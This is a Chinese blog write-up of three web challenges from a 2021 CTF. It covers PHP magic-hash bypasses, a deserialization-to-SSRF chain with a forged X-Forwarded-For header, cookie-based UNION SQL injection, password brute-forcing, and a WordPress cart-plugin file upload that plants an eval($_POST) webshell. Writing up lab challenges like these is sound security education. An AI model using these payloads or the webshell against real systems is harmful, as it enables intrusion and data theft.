CTF2021陕西wp-web-ez_checkin

已于 2023-07-12 01:13:13 修改
阅读量611 收藏
点赞数 1
文章标签： 其他
于 2023-07-02 01:42:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45090021/article/details/131496583
版权

进入题目空白一片首先老套路第一直接f12无果、查看源代码无果、该看的都看了没留下什么痕迹那就是直接扫描目录。

 扫出来4个目录逐个点开在index.php~发现线索

 代码审计

if (isset($_GET["param1"]))
    if ($_GET["param1"] == hash("md4", $_GET["param1"]))

通过对比md5的漏洞分析PHP在处理科学计数法的时候如果是0exxx会当成0，所以如果一个数字是0exxx它经过md4最后也是0exxx，那么他们就（==弱等于），在这里需要说明一下0e后面必须是数字才能实现（==弱等于）。“0e251288019”和“0e898201062”都可以绕过，还要说明一下是is_numeric()函数有漏洞，当数字里面有e的话is_numeric()函数会当成xxx*10^xxx相当于科学计数法。

所以得出param1=0e251288019

if (isset($_GET['param2']) && isset($_GET['param3']))

{ if ($_GET['param2'] != $_GET['param3'] &&md5($_GET['param2'])==md5(md5($_GET['param3'])))

双md5加密，一个值的md5后再md5要与另外一个值一样，可以输入param3随便给个值，然后param2为param3的md5值就行。

然后得出prarma2=e9510081ac30ffa83f10b68cde1cac07&parama3=6666

 if(isset($_GET['param4']) && isset($_GET['param5'])){
 if($_GET['param4'] != $_GET['param5']  &&  md5($_GET['param4'])===md5($_GET['param5'])){
echo $flag;

最后一个是MD5强等于类型前面两个是MD5弱类型

弱类型：两个MD5的值一样就可以不要求类型一样

强等于：两个MD5的数据必须是同一类型比如说prarma2=e9510081ac30ffa83f10b68cde1cac07&parama3=6666这个的值一个是数值一个是字母不是同一类型不能进行绕过，然后可以使用数组绕过

prarma4[]=1&parama5[]=2

最后得出

?param1=0e251288019&param2=e9510081ac30ffa83f10b68cde1cac07&param3=6666&param4[]=1&param5[]=2

EzPHP

打开直接代码审计 

首先看到最后一段是用d来传参进行反序列化然后看到wakeup函数先进行过滤过滤内容为不允许http://127.0.0.1/、http://localhost/链接，以及不允许使用file协议以及dict协议，并且要求类成员变量UserAgent值为‘DAOKOUSHAOJI’

然后现在得出线索是不允许直接使用本地ip127.0.0.1访问。第二个线索是UserAgent值必须要等于‘DAOKOUSHAOJI’，然后直接写php序列化脚本

<?php
class Chrome
{
    private $url;
    private $UserAgent;
    private $xff;
    private $Cookie;
    public function __construct()
    {
        $this->url       = "http://127.0.0.1:1000";#由于不能直接用127.0.0.1访问可以添加端口进行绕过。
        $this->UserAgent = "DAOKOUSHAOJI";

    }
}
$d = new Chrome();
echo urlencode(serialize($d));
#正常序列化得出结果是：O:6:"Chrome":4:{s:11:" Chrome url";s:21:"http://127.0.0.1:1000";s:17:" Chrome UserAgent";s:12:"DAOKOUSHAOJI";s:11:" Chrome xff";N;s:14:" Chrome Cookie";N;}
#经过url编码得出的结果是：O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1000%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3BN%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3BN%3B%7D

正常输入反序列化会出现以下，所以要进行url编码进行绕过

用URL进行传参回显了一个null空，说明进入的127.0.0.1:1000的端口不对，那就直接上bp进行爆破端口

选择要爆破的地方，直接选择1000那个地方先按Audo然后在选中1000按add 

设置爆破从1000到9999端口

 爆出1234端口与其他端口不一样直接继续序列化访问1234端口

<?php
class Chrome
{
    private $url;
    private $UserAgent;
    private $xff;
    private $Cookie;
    public function __construct()
    {
        $this->url = "http://127.0.0.1:1234";#填上刚刚爆出的端口1234。
        $this->UserAgent = "DAOKOUSHAOJI";


    }
}
$d = new Chrome();
echo urlencode(serialize($d));
#运行结果：O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3BN%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3BN%3B%7D

提示不是本地用户

然后可以用xff伪造本地用户继续序列化

<?php
class Chrome
{
    private $url;
    private $UserAgent;
    private $xff;
    private $Cookie;
    public function __construct()
    {
        $this->url = "http://127.0.0.1:1234";#填上刚刚爆出的端口1234。
        $this->UserAgent = "DAOKOUSHAOJI";
        $this->xff = "127.0.0.1";#伪造本地用户


    }
}
$d = new Chrome();
echo urlencode(serialize($d));
#运行结果：
O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3BN%3B%7D

此时可以看到页面显示了用户名可Number，类定义时有个cookie参数，可以猜测是通过cookie查询数据库中当前用户的信息

且用户为guest时，通目代码构造函数中$this->Cookie="uname=Z3Vlc3Q=";

发现了cookie的格式参数为uname，然后直接猜最正常的用户值为uname=admin(base64)

 继续序列化

<?php
class Chrome
{
    private $url;
    private $UserAgent;
    private $xff;
    private $Cookie;
    public function __construct()
    {
        $this->url = "http://127.0.0.1:1234";#填上刚刚爆出的端口1234。
        $this->UserAgent = "DAOKOUSHAOJI";
        $this->xff = "127.0.0.1";#伪造本地用户
        $this->Cookie="uname=YWRtaW4=";#admin


    }
}
$d = new Chrome();
echo urlencode(serialize($d));
#运行结果：O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3Bs%3A14%3A%22uname%3DYWRtaW4%3D%22%3B%7D

 进入了管理界面，看看是否存在sql注入，

直接输入admin' 转base64

<?php
class Chrome
{
    private $url;
    private $UserAgent;
    private $xff;
    private $Cookie;

    public function __construct()
    {
        $this->url = 'http://127.0.0.1:1234';#爆出的端口1234
        $this->UserAgent ='DAOKOUSHAOJI';#要求输入的用户
        $this->xff ='127.0.0.1';#伪造本地登录
        $this->Cookie ="uname=YWRtaW4n";#admin'
    }
}
$w = new Chrome();
echo urlencode(serialize($w));
#运行结果:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3Bs%3A14%3A%22uname%3DYWRtaW4n%22%3B%7D

，直接出现了sql数据报错信息，说明是可以进行sql注入的。

然后正常的查库查表都不显示。查列的时候才有回响

 查库显示错误

查列 admin' order by 3 # 直接从第三列开始查，直到查到 admin' order by 5 # 的时候回显报错说明只有4列

 

 直接开查 admin' union select 1,flag,3,4 from flag #

没反应，通过大佬的wp才知道要去n才能进行查询 admi' union select 1,flag,3,4 from flag # 

最终的序列化

<?php
class Chrome
{
    private $url;
    private $UserAgent;
    private $xff;
    private $Cookie;

    public function __construct()
    {
        $this->url = 'http://127.0.0.1:1234';#爆出的端口1234
        $this->UserAgent ='DAOKOUSHAOJI';#要求输入的用户
        $this->xff ='127.0.0.1';#伪造本地登录
        $this->Cookie ="uname=YWRtaScgdW5pb24gc2VsZWN0IDEsZmxhZywzLDQgZnJvbSBmbGFnICM=";
                        #admi' union select 1,flag,3,4 from flag #
    }
}
$w = new Chrome();
echo urlencode(serialize($w));
#运行结果:O%3A6%3A%22Chrome%22%3A4%3A%7Bs%3A11%3A%22%00Chrome%00url%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A1234%22%3Bs%3A17%3A%22%00Chrome%00UserAgent%22%3Bs%3A12%3A%22DAOKOUSHAOJI%22%3Bs%3A11%3A%22%00Chrome%00xff%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A14%3A%22%00Chrome%00Cookie%22%3Bs%3A62%3A%22uname%3DYWRtaScgdW5pb24gc2VsZWN0IDEsZmxhZywzLDQgZnJvbSBmbGFnICM%3D%22%3B%7D

直接出flag 

screw

进入题目首先老套路第一直接f12无果、查看源代码无果、该看的都看了没留下什么痕迹那就是直接扫描目录。

 扫出一大堆然后挑出了一个两个有用的页面一个是登录页面一个是提示页面

 

 flag.php界面

 登录界面，尝试注册账号但是只有找回密码没有注册账号直接返回主界面

发现通过aaa试看看是不是用户名，直接搞上bp爆破密码

先按clear清空所有然后再选中pwd里面的1234直接按add添加爆破

直接添加字典开爆。我这里用的是简单弱口令。

 爆出了a123456密码

 

直接登录进来啥也没有

然后通过在flag.php里面的提示说可以通过插件进行下一步，然后通过网上了解了一个购物插件的漏WordPress插件购物车3.0.4 - 不受限制的任意文件上传 - PHP网络应用程序漏洞利用 (exploit-db.com)

 直接复制粘贴代码改一下链接保存为html文件保存

<form action="http://9630e303.clsadp.com/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="datemd5" value="1">
    <input type="file" name="Filedata">
    <input value="Upload!" type="submit">
</form>
#http://9630e303.clsadp.com 这个链接是环境链接

保存好之后一定要一直登录界面在点开保存好的插件漏洞代码，不然上传不上去

 直接上传一句话木马

<?php

@eval($_POST['123']);

?>

 上传成功后上传的马在

http://环境地址/wp-content/plugins/wp-easycart/products/banners/

这个地方

直接用工具连接，进入看到flag被加密了，加密的方式是screw，然后直接找screw.so这个文件

 直接点虚拟终端进入liunx界面找

 在liunx界面下输入 find / | grep screw.so,回显位置在/usr/lib/php5/20121212/php_screw.so

 直接去路径显示错误因为这是一个文件不是文件夹

 返回下一层/usr/lib/php5/20121212/直接下载文件拖进IDA找秘钥也把flag.php下载下来备用

 

 一般秘钥都在这个位置_pm9screw_ext_fopen

 直接按F5进入编译界面双击黄色的地方

 进入到这个界面在双击黄色的地方

 这个地方就是秘钥

 这些是按照大佬的方法找到了秘钥但是本人不会用php screw 破解 然后再网上找了个python的脚本破解https://github.com/Slzdude/php_screw-decrypt

下载好直接用

先把flag.php拖进文件夹里

 直接python decode_screw.py flag.php即可

 运行完之后会多了个flag.php.bak不用管直接把flag.php改为flag.txt查看即可出flag

 

꯭百꯭事꯭可꯭乐꯭
关注
【网络安全 | CTF】攻防世界 command_execution 解题详析
等风来
05-21 6633
ping 命令是一个常用的网络命令，用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包，并等待目标计算机返回响应数据包来测试网络的可达性，同时也可以测试网络的延迟和丢包率等信息。本地回环地址是网络通信中的特殊地址，指向本机的网络接口，因此通过发送 icmp 数据包到该地址来测试网络连通性和延迟。如果 ping 命令不正确地处理其输入参数，就可能存在被攻击者利用来运行危险的命令的风险。2.ping+IP地址或主机域名+命令参数。3.ping+命令参数+IP地址或主机域名。
EzCheckInSchool:完美校园自动打卡一天三次校内版
03-16
EzCheckInSchool 完美校园自动打卡一天三次校内版。 使用方法 首先，点击右上角Star＆Fork， 接下来抓包完美校园打卡内容，此处使用Fiddler代理手机抓包 fiddler没有手机客户端，都是安装在PC上，要实现对手机上的程序抓包，则需要对PC上的fiddler和手机端做一些配置。步骤如下： 设置好手机代理后，打开完美校园开始健康打卡（最好在指定的打卡时间打卡方便抓包），目标数据包为POST到https://reportedh5.17wanxiao.com/sass/api/epmpics的JSON格式如下： { "businessType": "epmpics", "method": "submitUpInfoSchool", "jsonData": { "deptStr": { "deptid": xxxx, "text": "x学院-xx-
墨者靶场 WordPress插件漏洞分析溯源
永远是少年
12-30 1571
今天继续给大家介绍CTF刷题，本文主要内容墨者靶场 WordPress插件漏洞分析溯源。 一、题目简介 二、解题实战
青少年CTF Crypto-Easy CheckIn WP
weixin_55265137的博客
10-11 485
青少年CTF Crypto-Easy CheckIn WP
2021CTF工业信息安全技能大赛-异常的s7comm
qq_43264813的博客
07-05 3301
2021CTF工业信息安全技能大赛-异常的s7comm 工程师小夏在针对西门子300PLC设备不定期的停止运行，发现设备存在异常外联控制，再对审计设备进行分析中发现数据包中存在异常的eth.trailer、eth.fcs,请您帮助小夏找到外联地址并发送异常的HEX，对服务器返回的HEX进行解密。flag格式为:flag{}。 使用工具：Wireshark、NetCat、TEA加密/解密、CaptfEncoder、科来网络分析系统 11 技术交流版、NMAP 解题步骤： 1.1、对数据包进行重放发现400、4
ctf-tools-linux-master_ctf工具_ctf工具_CTFtools_CTF_Tools_
10-01
CTF常用小工具你值得拥有那个。。。。111
2021-10-12T15_46_29.634969+00_00misc题_流量分析.rar
10-21
标题 "2021-10-12T15_46_29.634969+00_00misc题_流量分析.rar" 暗示这是一个关于网络安全竞赛（CTF）的挑战，涉及的是流量分析方面的内容。描述提到“CTF附件题——MISC类型——数据库登录”，表明该挑战可能需要...
2021-10-12T15_39_04.258808+00_00airportSniffgIm17m.cap.zip
11-07
wifi破解——近源攻击 近源攻击，在攻防演练期间，攻击队队员使用无人机悬停监听技术，成功抓取到了某核电办公网络的Wifi握手包，现在正在进行紧张的破解，你能破解该密码吗？ 据得到的信息显示，该办公室设置的密码...
CtfHub-wp（web）
01-23
本文主要探讨了CTF（Capture The Flag）竞赛中与Web安全相关的知识点，通过解决一系列问题，我们可以学习到如何发现和利用网站的漏洞获取关键信息。首先，提到了通过查找网站的备份文件来获取线索，例如在URL后添加...
2021-10-12T15_44_19.174914+00_00scene.jpg.zip
10-18
标题 "2021-10-12T15_44_19.174914+00_00scene.jpg.zip" 暗示这是一个压缩文件，其中包含一个名为 "scene.jpg" 的图像文件。日期时间戳 "2021-10-12T15_44_19.174914+00_00" 表明文件是在2021年10月12日15:44:19创建...
CTF-命令执行
Luodehahajiang的博客
07-03 2200
ctf 命令执行 命令执行函数 命令执行绕过方法
2021-AFCTF
unexpectedthing的博客
04-17 3031
AFCTF search 考点 就是一个对find的命令了解,参数exec可以实现命令 wp payload /search.php?search=flag -exec cat {} \; google authenticator 考点 sql注入，拿到secret的密钥 google身份验证码的实现 蚁剑连接，无权限，进行信息收集 蚁剑反弹shell到vps 非交互式shell变为交互式shell的两种方式 写定时任务redis提权 wp 看到登录界面，扫一波，没有东西 尝试进行sql注入 先来个万
2023第三届陕西省CTF--职业院校组 部分WP
Fab1an的博客
06-08 680
直接 在URL后面用GET传参?file:///flag
CTF—easypy
m0_69773707的博客
06-26 403
扫目录，有download路由，下载源码。phpstudy漏洞修改admin密码。勾选系统权限，查看文件并下载flag。过滤了r和反弹shell直接外带。
DubheCTF 2024 misc方向部分题解
最新发布
Rick66Ashley的博客
03-18 659
出题的水平真的挺高的，好难……
[NISACTF 2022]ezpython(PyInstaller封装程序反编译)
qq_24481913的博客
12-24 924
[NISACTF 2022]ezpython(PyInstaller封装程序反编译)
beginCTF WP（Reverse）
m0_75243362的博客
02-06 1391
新手wp，大佬轻点喷。
魔术hash
Nius
08-25 1543
写在前边 最近做的各种ctf关于hash的题目较多，于是收集整理了MD2、MD4、MD5、SHA1、SHA256的部分木魔术hash，主要包含两部分一是加密前加密后均为0e开通字符串、二是加密后为0e字符串。如下： 双0e MD4: 0e251288019:0e874956163641961271069404332409 0e001233333333333334557778889:0e434041524824285414215559233446 MD5: 0e215962017:0e291242476
CTF 学习笔记
梁辰兴的博客
10-06 5181
CTF起源于1996年DEFCON全球黑客大会，以替代之前黑客们通过互相发起真实攻击进行技术比拼的方式。WordPress是利用PHP开发的博客平台，用户可以在支持PHP和MySQL数据库的服务上架设属于自己的网站。也可以把WordPress当做一个内容管理系统（CMS）来使用。WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开发的，用户可以在支持PHP和MySQL数据库的服务器上使用自己的博客。
ctf在黑客中什么水平
10-19
CTF（Capture The Flag）是一种网络安全竞赛，旨在考验参赛者在解决各种网络和系统安全问题方面的技能。在黑客中，CTF具有相当高的水平。 首先，CTF对黑客的技术要求较高。参赛者需要具备扎实的计算机基础知识，包括网络通信、操作系统、编程语言、密码学等方面的知识。他们需要理解计算机系统的工作原理，并熟悉常见的安全漏洞和攻击技术，如缓冲区溢出、SQL注入、XSS等。 其次，CTF对黑客的逻辑思维和问题解决能力提出了挑战。参赛者面临各种复杂的题目，需要通过分析和推理找出隐藏的漏洞或答案，并利用已有的知识和技术进行解决。他们需要具备良好的逻辑思维能力和创造性，能够在有限的时间内找到最佳的解决方案。 此外，CTF还需要黑客具备团队合作和沟通能力。很多比赛是以团队形式进行的，参赛者需要在紧张的竞赛环境中与队友密切合作，共同攻克问题。在这个过程中，他们需要有效地分工合作，分享知识和经验，并及时进行沟通和协调。 总的来说，CTF在黑客中要求参赛者具备高水平的技术、良好的逻辑思维能力和问题解决能力，以及团队合作和沟通能力。它将参赛者置于真实的网络安全环境中，对他们的技术能力和素质提出了严格的要求。因此，CTF在黑客中被认为是很有水平的竞赛。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值